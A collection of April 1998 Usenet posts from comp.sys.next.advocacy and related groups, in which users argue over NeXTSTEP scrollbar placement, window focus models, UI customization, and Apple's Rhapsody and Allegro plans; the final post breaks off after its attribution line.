C'mon, this is insulting! I used click-to-focus for at least a year
before I'd ever *seen* focus-follows-mouse. I like focus-follows-mouse
better, and I have GOOD reasons for doing so. Don't act like I'm a
spoiled child who's never been outside the boundaries of his parents'
home.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: A comment or two
Date: 2 Apr 1998 16:41:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6g0f3s$dft@newsb.netnews.att.com>
Originator: gupta@tlctest
Xcanpos: shelf.01/199804142201!0013010898
If the stuff rumored about Allegro (e.g., on MacOSRumors) is
true, the question would be : are these all part of what was
to be Copland ? Couldn't we have had these a couple of years
ago ? (e.g., the rumor says 100% PowerPC native, native
Applescript, complete re-write of QuickDraw).
Previous Apple management probably didn't believe in the
Macintosh, probably in their hearts believed Microsoft hype,
and were looking to make an impossible leap. I don't believe
that any of the things mentioned in the rumors were out of
reach in 1996.
Kudos to Steve Jobs and the new Apple for believing in the
Macintosh again ! Amelio may write that Jobs is taking credit
for things he had no hand in starting, but I don't see why
Amelio wasn't pushing the improvements in Allegro.
****
On a completely different note, take a look at
http://www.infoworld.com/cgi-bin/displayStory.pl?98042.ecncfalters.htm
"In 1997, 144,040 NCs were shipped; 482,196 are expected to ship
this year world-wide, according to Dataquest..."
a. The precision is absurd, and likely comes from a meaningless
"model".
b. A greater than 3-fold increase in one year in NCs shipped
shows that the "market is faltering". The very same Dataquest
was hyping similar growth numbers from a similar base for
Windows NT as tremendous growth.
c. Infoworld publishes this pablum as gospel.
Nothing ever changes.
-arun gupta
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3523c19a.0@206.25.228.5>
Date: 2 Apr 98 16:49:30 GMT
Xcanpos: shelf.01/199804142201!0012703467
richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> Now, I don't want to come accross as too offensive, but your
> comments about the UI read to me like someone with an attitude
> problem. It sounds like you approached the system trying to make
> it like what you were used to rather then trying to see what it
> could offer and if it did anything better.
> When I first got hold of NeXTstep - I tried working with it as
> it came out of the box for over a week. I read the manuals,
> (especially the 'power tips' booklet) and tried doing things the
> way they were intended to be done.
> By the end of that week, I was used to different ways things were
> done and had discovered that I didn't want to customise many
> things. At long last I had discovered a GUI that (overall) let
> me do things more efficiently than the shell.
Exactly, customization is such a huge time sink. I just see people
didling with win95 settings all day. Does it add any increase to
productivity? Only if you count negatives as additive.
I like the "feature" of not diddling. If there was an ability to
diddle, I probably would, and then be disgusted with myself for
wasting time. I like that the UI just fades into the background.
Is it 1) perfect? Hardly. Is it 2) the best UI that will be the
least imperfect to a wide and disparate group of users? I certainly
doubt it, it could go much further in that direction. Is it 3) a
"do it your way" "please everyone UI"? No, and I'm happy it isn't,
because at that point I find the UI is more a focus than the tasks
to be performed under it. I personally think option 2 is the best
overall solution for a general UI for most people, in particular
large corporations where employers would rather pay employees for
actual production rather than diddling. That's not to say it's a
solution for everyone. It's a solution for the single widest group.
Other groups of user will exist and insist upon diddling. Which
is good. We need to harness the idle diddling time of group 3
users to refine the experiences of group 2. :)
My guess is MJP falls into a group 3 catagory. Which is fine and
dandy. The NeXTUI definatly won't be his cup of tea.
> If I could, I'd separate the buttons on the scroller a little,
> but that's about the only thing I want to change that I can't.
> If the first thing you do when you find something you are
> uncomfortable with is to try to reconfigure it in a familiar
> manner, you will never learn what its advantages and disadvantages
> are - and you will never learn how the various features of the
> UI work together as a cohesive whole.
Very true in my experience. You did much better than me in picking
up the NeXTUI intuitively in a week! It took me 2months or so to
get over my set ways on the macUI.
> BTW - I can still remember my initial reaction to click-to-focus
> was revulsion because I kept forgetting to click, within a few
> days, I felt at home with it and hated focus-follows-mouse.
Funny, I have the same reaction when I go from one to the other
for any period of time. :) I go really schizo when I have mixed
environments like with Stuart. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 11:35:02 -0500
Organization: Interport Communications Corp.
Message-ID: <6g0enm$gf7$1@interport.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com>
Xcanpos: shelf.01/199804142201!0014267715
Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
: I suspect, with Steve Jobs' idiocy software
: design, that everything will be GUI...
If Rhapsody doesn't support a CLI, I will eat my hat.
: Anyway, it's neither here nore there. I intend on for the most part
: ignoring Rhapsody. It doesn't really effect me.
--
Ben
<Just Another System Administrator>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 16:57:34 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523C37E.614550BA@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch>
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Xcanpos: shelf.01/199804142201!0015767783
no_spam_frank@ifi.unibas.ch wrote:
> I too, wasn't too happy about that, but I just recently found a
> very good reason for having them there ...
> http://www.ifi.unibas.ch/Groups/Staff/frank/scrollers.html
I have to admit, this is a really compelling argument for left-handed
scrollbars...
> As to Mike's other complaints, the way I see it is that he has his
> own 'view' of a system (he even says so), and when he first worked
> with NEXTSTEP, this view didn't fit in any way with the way
> NEXTSTEP worked, os, of course, `nothing worked'.
Okay, fine. Is it just impossible for anybody to actually *EXPLAIN* what
this odd new view is, or do you have to pick it up by osthmosis? Is it
contagious, or is there a genetic determinant: some "get it" and some
don't?
Forgive me, but this is sounding eerily like all those hollow postings
on comp.sys.mac.advocacy wherein Mac fans say something along these
lines: "You're a PC luser, you can't understand why a Mac is better
until you *use* it. Once you really *experience* the full monty, you'll
finally comprehend why we pay twice as much for hardware and software.
But you have to catch the wave first."
See, I was one of those people once upon a time. And (again) forgive me,
but those people are just plain WRONG.
[cut]
> I now have to manage SOLARIS [2.6] - and (really, no joke) nothing
> works ... (the blokes from SUN still havn't figured out all
> solutions to the problems).
And I don't know a single person, to this day, who has successfully set
up Sun's aspppd without spending money on proprietary hardware or
software solutions. That includes the support staff at Sun that tried
(unsuccessfully) to help me (and eventually suggested buying their
"Enterprise-class solution"). We had to install a little Cisco
communications server to do the job instead, and *that* "Just Worked".
When I complained about pppd on NEXTSTEP, I wasn't implying that
NEXTSTEP was the only system where these problems happened. I was
countering the notion that everything "Just Works".
> If someone without unix knowledge aproaches NEXTSTEP/OPENSTEP, then
> almost everything will `just work', as I could prove when my
> parents started using NEXTSTEP (after using SYSV with X windows).
Maybe you'll admit that much of this is due to fewer expectations, on
the whole. Like I said, my father would probably be *thrilled* with
NEXTSTEP/OPENSTEP.
MJP
From: Aaron R Kulkis <akulkis@be1151.pd3.ford.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 11:31:54 -0500
Organization: Ford Motor Company
Message-ID: <3523BD7A.3CFA@be1151.pd3.ford.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu>
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Xcanpos: shelf.01/199804142201!0016924851
Josh Hesse wrote:
>
> Michael J. Peck (mjpeck@nstar.net) wrote:
> :
> : By the way, you're going to fix the left-handed scrollers? You're going
>
> Why?
>
> The first time I booted Nextstep, I was floored. At first glance,
> everything _seemed_ out of place.
>
> After a couple days, everything made sense.
>
> Face it Mike, right-hand scrollbars suck.
Amen to that. I want the cursor (and therefore the pointer)
over on the left hand side. l<-->r scrollbar should be on top, too,
right with all of the rest of the toolbar.
Who started this nonsense of putting the scrollbars on the bottom
and left, rather than the top and right????
the more I think about it, the more annoyed I am...
GAck!
--
Aaron R. Kulkis
Unix Systems Administrator
---------------------------------------------------------------------------
I speak for me, not my employer
---------------------------------------------------------------------------
"What's wrong with 3rd party tools? Especially if they are free?
What the hell do you think unix is anyway? It's a big honkin' party
of 3rd party free tools." --Bob Cassidy (rmcassid@uci.edu)
From: Aaron R Kulkis <akulkis@be1151.pd3.ford.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 11:35:25 -0500
Organization: Ford Motor Company
Message-ID: <3523BE4D.1511@be1151.pd3.ford.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <35234D04.18B5F492@nstar.net>
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Michael J. Peck wrote:
>
> Josh Hesse wrote:
>
> > Face it Mike, right-hand scrollbars suck.
>
> Actually, I take my previous posting back. I just spent the last few
> minutes pretending my scrollbars were left-handed again, and to be
> honest, it's not impossible to get used to. I bet I could even prefer
> it, given enough time and familiarity.
>
> But you should understand that it's really a silly thing. Who cares
> where they are, except based on what you're used to? When NEXTSTEP first
> debuted, it was okay to put the damned things on the left, because it
> was still okay to try new things out. But it's no longer possible to say
> the same of *scrollbars*.
If they were on the top/left, rather than bottom/right, you
would do less mouse-motion
>
> And what you'll never get me to admit is that left-handed scrollbars are
> inherently *better*. Or that, for some crazy reason, right-hand
> scrollers "suck".
On average, it takes more mouse movement to get back and forth between
the right-hand side scrollbar, and you're next in-document click.
(and, vice-versa, of course).
>
> MJP
--
Aaron R. Kulkis
Unix Systems Administrator
---------------------------------------------------------------------------
I speak for me, not my employer
---------------------------------------------------------------------------
"What's wrong with 3rd party tools? Especially if they are free?
What the hell do you think unix is anyway? It's a big honkin' party
of 3rd party free tools." --Bob Cassidy (rmcassid@uci.edu)
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 17:12:34 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523C702.B22B2BDB@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523c19a.0@206.25.228.5>
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John Kheit wrote:
> Exactly, customization is such a huge time sink. I just see people
> didling with win95 settings all day. Does it add any increase to
> productivity? Only if you count negatives as additive.
Huh? You know, John, for somebody who actually spawned the thread about
how awful the *background color* was on the Rhapsody sneak-screenshots,
you seem to be accusing me of some pretty petty thinking. Do you really
think that by "customization" I mean background colors and screen savers
and other useless doodads?
[cut]
> Is it 1) perfect? Hardly. Is it 2) the best UI that will be the
> least imperfect to a wide and disparate group of users? I certainly
> doubt it, it could go much further in that direction. Is it 3) a
> "do it your way" "please everyone UI"? No, and I'm happy it isn't,
This is SO funny. I really mean that, this is hilarious. Because I've
just been taking it up the ass from people like Salvatore Denaro who
insist that X Windows doesn't do *enough* to construct a pleasing UI,
and now you're telling me that NEXTSTEP is actually more *minimal*?
> because at that point I find the UI is more a focus than the tasks
> to be performed under it. I personally think option 2 is the best
> overall solution for a general UI for most people, in particular
And I am likewise a firm believer in the 90% solution. My problem is not
with your philosophy, John, it's with your contention that NEXTSTEP is a
90% solution. I'd say it's more like 50-60%, and I couldn't do a damned
thing to extend it.
[cut in haste to respond below]
> My guess is MJP falls into a group 3 catagory. Which is fine and
> dandy. The NeXTUI definatly won't be his cup of tea.
What utter bullshit! You really think I'm Joe Schmuck down the hall
who's playing solitaire and configuring Win95 background colors, John?!
You really think I'm mister After Dark 4.0 who's gleefully watching Lawn
Mower Man eat up his grassy screen?
If you think that's what I'm talking about, you're dead wrong and you've
mistaken the context of my previous remarks. I despise the waste of time
induced by people with a System Folder full of Kaleidoscope modules or a
c:\windows directory filled with the latest "Microsoft PowerToys". If I
were a manager, I'd have those people fired before they came in on their
first day of work.
[cut]
MJP
From: "Peter Frankinberg" <pfrank@msn.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu>
Subject: Re: When will Unix be free?
Date: Thu, 2 Apr 1998 11:10:03 -0500
Organization: OutWest Software Design INC
Message-ID: <3523bc3f.0@news.state.vt.us>
Xcanpos: shelf.01/199804142201!0021033372
Gregory Loren Hansen wrote in message
<6fut5f$115$1@jetsam.uits.indiana.edu>...
>In article
<6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.ne
t>,
>Nostromo <Nostromo@gte.net> wrote:
>>On 01 Apr 1998 10:39:01 -0500, Barry Lustig <barry@gate.lustig.com> wrote:
>>
>>>
>>>> : Joe Ragosta <joe.ragosta@dol.net> wrote:
>>>> : >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
>>>> : >(Jason V. Robertson~) wrote:
>>>> : >
>>>> : >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
>>>> : >> Kevin Huber <khuber@yuck.net> wrote:
>>>> : >> >When will NT be free?
>>>> : >>
>>>> : >> Uhh, when will Unix be free?
>>>> : >
>>>
>>>FreeBSD (http://www.freebsd.org), NetBSD (http://www.netbsd.org),
>>>OpenBSD (http://www.openbsd.org).
>>
>>you can also get free SCO unixware for personal use
>>http://www.sco.com/offers/freeUW.html
>
>And Linux from the usual sources.
>
>I know, someone is bound to pipe up and say Linux isn't a Unix because it
>doesn't have the right pedigree. But it looks like a Unix, walks like a
>Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
>free.
>
..
There's just as much chance of someone poping up and saying BSD isn't Unix.
Should be more of one.
..
..
From: Nostromo@gte.net (Nostromo)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Thu, 02 Apr 1998 00:50:21 GMT
Organization: INTERNET AMERICA
Message-ID: <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <uj23efzsd4e.fsf@bambi.visi.com> <6fpts2$cov@news.or.intel.com> <joe.ragosta-3103980821360001@wil33.dol.net> <6fr4cb$bdj@news.or.intel.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com>
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Xcanpos: shelf.01/199804140601!0012570025
On 01 Apr 1998 10:39:01 -0500, Barry Lustig <barry@gate.lustig.com> wrote:
>
>> : Joe Ragosta <joe.ragosta@dol.net> wrote:
>> : >In article <6fpts2$cov@news.or.intel.com>, jvrobert@sedona.intel.com
>> : >(Jason V. Robertson~) wrote:
>> : >
>> : >> In article <uj23efzsd4e.fsf@bambi.visi.com>,
>> : >> Kevin Huber <khuber@yuck.net> wrote:
>> : >> >When will NT be free?
>> : >>
>> : >> Uhh, when will Unix be free?
>> : >
>
>FreeBSD (http://www.freebsd.org), NetBSD (http://www.netbsd.org),
>OpenBSD (http://www.openbsd.org).
you can also get free SCO unixware for personal use
http://www.sco.com/offers/freeUW.html
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 17:49:08 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523CF93.2B60C21F@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net> <6g0iko$esc$1@usenet52.supernews.com>
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Xcanpos: shelf.01/199804142201!0027171014
Donald R. McGregor wrote:
[cut - all read and carefully absorbed...and much appreciated]
> I hope that the market for Rhapsody will be big enough for Apple
> to pay attention to the needs and wants of Unix propellerheads.
> (They really have two markets they're selling to: people interested
> in a unix box, and people interested in a GUI productivity app
> box.)
Well I, for one, do hope that they can accomplish it. I think this
thread has demonstrated some of the profound complexity involved. It
will be a Herculean feat.
MJP
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 02 Apr 1998 08:55:49 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204980855490001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us> <rmcassid-0104981421190001@dante.eng.uci.edu> <slrn6i6bg4.j6l.sal@panix3.panix.com>
Xcanpos: shelf.01/199804142201!0027233871
In article <slrn6i6bg4.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On Wed, 01 Apr 1998 14:21:19 -0800, rmcassid@uci.edu <rmcassid@uci.edu> wrote:
>>Well, neither will QT as it turns out... But I don't really see IB-Lite
>>and AS handling interactive time-keyed multimedia streaming to my browser.
>>*That* is the goal. My description wasn't really that, well, descriptive.
>
>I think AS+IB lite+ a set of custom pallets with HyperCardish widgets
>would be the best bet. It would also go a long way toward providing an
>OpenDoc-work-a-like that others have been itching for
[snip]
>It would give us User Objects, Scripting, a GUI dev tool and a way to
>host these objects in existing Apps at the same time.
But QT brings *so* much more than that - codecs, time syncronization
through tracks, lots of stuff. Better to shove AS into QT and be done with
it.
That's not to say that a lot of other problems couldn't be solved by AS+IB
Lite but interactive time-keyed streaming multimedia could be a very, very
big market for Apple.
BTW, I *do* want AS+IB lite - I have it right now, sort of, in FaceSpan.
And everything can be improved, right? But I want QT Interactive as well.
Two different things, IMO.
-Bob Cassidy
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Thu, 02 Apr 1998 09:12:35 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0204980912350001@dante.eng.uci.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com>
Xcanpos: shelf.01/199804142201!0029844066
In article <6fva9h$ris$1@ha2.rdc1.sdca.home.com>, rexr@starr.com (Rex
Riley) wrote:
>>In <rmcassid-3103981540370001@dante.eng.uci.edu> rmcassid@uci.edu writes:
>>If Rhapsody ends up with a MacOS or NT sized market, it'll get plenty of
>>developers to forget Newton and chase the market.
>>
>>
>
>Isn't "chase the market" metaphor _at-risk_,and so RhapsodyOS, as well,
>really?
Yep.
>The "window of opportunity" timing looks critical and closing fast for Apple.
>Jobs & Co. had better get Rhapsody "on message" wrt Java and "in position"
>wrt NC marketplace. Talk, rumor and legacy "cross-compatibility" to NT,
>Windows, Solaris, etc... will play to an empty audience shortly.
I think they need to beat NT 5.0 to market by just enough that some
developers will actually have to make an evaluation for new products: NT
or YB/NT. They can develop on Rhapsody if they want, but nobody will
really expect to deploy there for some time. *Although*, if Rhapsody is
getting the kind of attention that Allegro has, I think we'll be *really*
happy. Allegro is amazing, IMO, considering that it still is MacOS. Just
amazing.
>JavaOS and Java Lang. are capturing mindshare and building. Won't
>developer's getting hot and lathered over "chasing a market" pursue the
>latest,greatest phenom? With the weight of IBM and Sun's marketing machines
>grinding JavaOS into everyone's coffee, is Apple cost-justified to switch the
>market herd to Rhapsody Brew.
Isn't Apple pushing Java + YB? I think this is *exactly* the right thing
to do. They can jump onto Java the Java bandwagon and still give people a
better way to solve the problem. Is JavaOS really capturing mindshare in
the markets that Apple is after? I don't see it, yet.
I don't think that developers necessarily chase the latest, greatest
phenom. Developers have their comfort levels - and some are *very*
practical. Java is still not proven in a some of the areas that Sun is
pushing it to - like large-scale application development. Add YB and Java
starts looking a lot better. 100% pure - certainly not. Instead it should
work.
>I have just abandoned my market mentality of MacOS,Windowsxx,SunOS,etc... The
>market segments are shaping into "Servers" and "NC's" in various _weights_.
>Between here and there only transitional legacyOS attrition.
I agree that is what will happen. At the same time, many users will need
some amount of independence. I think there is room for Apple once again. I
see the OS and server markets opening up again based mainly on your
observation.
-Bob Cassidy
From: Navindra Umanee <navindra@cs.mcgill.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 18:09:12 GMT
Organization: School Of Computer Science, McGill University, Montreal
Message-ID: <6g0k88$2qs@sifon.cc.mcgill.ca>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net>
User-Agent: tin/pre-1.4-971127 (UNIX) (SunOS/5.5 (sun4m))
Xcanpos: shelf.01/199804142201!0030583323
At one point in cyberspacetime
(actually Thu, 02 Apr 1998 16:57:34 +0000 in comp.os.linux.advocacy),
Michael J. Peck <mjpeck@nstar.net> wrote:
> no_spam_frank@ifi.unibas.ch wrote:
>
>> I too, wasn't too happy about that, but I just recently found a
>> very good reason for having them there ...
>> http://www.ifi.unibas.ch/Groups/Staff/frank/scrollers.html
>
> I have to admit, this is a really compelling argument for left-handed
> scrollbars...
Didn't you also notice that you didn't actually need the scrollbar at
all to read the text?
Navin
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 18:24:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i7lum.kjl.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu> <3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com> <351824A0.3723@nstar.net> <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net>
Xcanpos: shelf.01/199804142201!0033099407
On Thu, 02 Apr 1998 07:54:52 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>I don't come into this group playing devil's advocate and bashing
>Rhapsody on specious grounds, so I don't know what you mean.
Do you have Rhapsody? Have you used Rhapsody? Have you developed under
Rhapsody?
>You have Linux experience, so I entertain discussions of X with you. But
>you really go overboard when you start asking "What, in your words, is
>xlib?"
I did that because you kept changing your definition of what X is. On an
almost artivle by article basis.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 18:22:15 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523D757.1FB079A9@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net> <6g0k88$2qs@sifon.cc.mcgill.ca>
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Navindra Umanee wrote:
> > I have to admit, this is a really compelling argument for left-handed
> > scrollbars...
> Didn't you also notice that you didn't actually need the scrollbar at
> all to read the text?
Yes, but that's not the point. Not *everybody* will realize that fact
(and thus they'll still need the scrollbars), so it's still a compelling
argument, if only on the basis of completeness.
MJP
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Wed, 01 Apr 1998 14:54:37 -0800
Organization: University of California, Irvine
Message-ID: <rmcassid-0104981454370001@dante.eng.uci.edu>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dim <6ft27m$f9q$1@ns3.vrx.net> <6fudtl$nr3$1@crib.bevc.blacksburg.va.us>
Xcanpos: shelf.01/199804140601!0037199235
In article <6fudtl$nr3$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>In article <6ft27m$f9q$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>
>> What's really needed is IB-Lite + AppleScript.
>
>You've discussed some of this before, but would you mind summarizing
>your vision for "IB-Lite + AppleScript"?
I won't speak for Maury, but here's my vision:
AS, like perl, is wonderful for doing many things but generally lacks any
kind of decent user interface or means of user interaction. One of the
reasons why Hypercard has held on so long as a tool is that it provided a
scripting environment along with a decent (if dated) UI. Facespan is a UI
wrapper for AS - and a very nice one at that. See:
http://www.facespan.com/dbase_lesson8/DBASE_LESSON8.00.HTML
for some illustrations.
But none of these tools allow for all of the kinds of things that IB does,
though I think that Facespan comes the closest. Being able to rapidly
build interfaces for AS would allow anyone to build custom interfaces to
any scriptable app. It would give me some of the rapid solution design
that OpenDoc promised through a fairly different mechanism.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 13:51:26 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g0mne$phl$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6ft27m$f9q$1@ns3.vrx.net> <6fudtl$nr3$1@crib.bevc.blacksburg.va.us> <6ftvb0$71b$2@ns3.vrx.net>
Xcanpos: shelf.01/199804142201!0037216645
In article <6ftvb0$71b$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
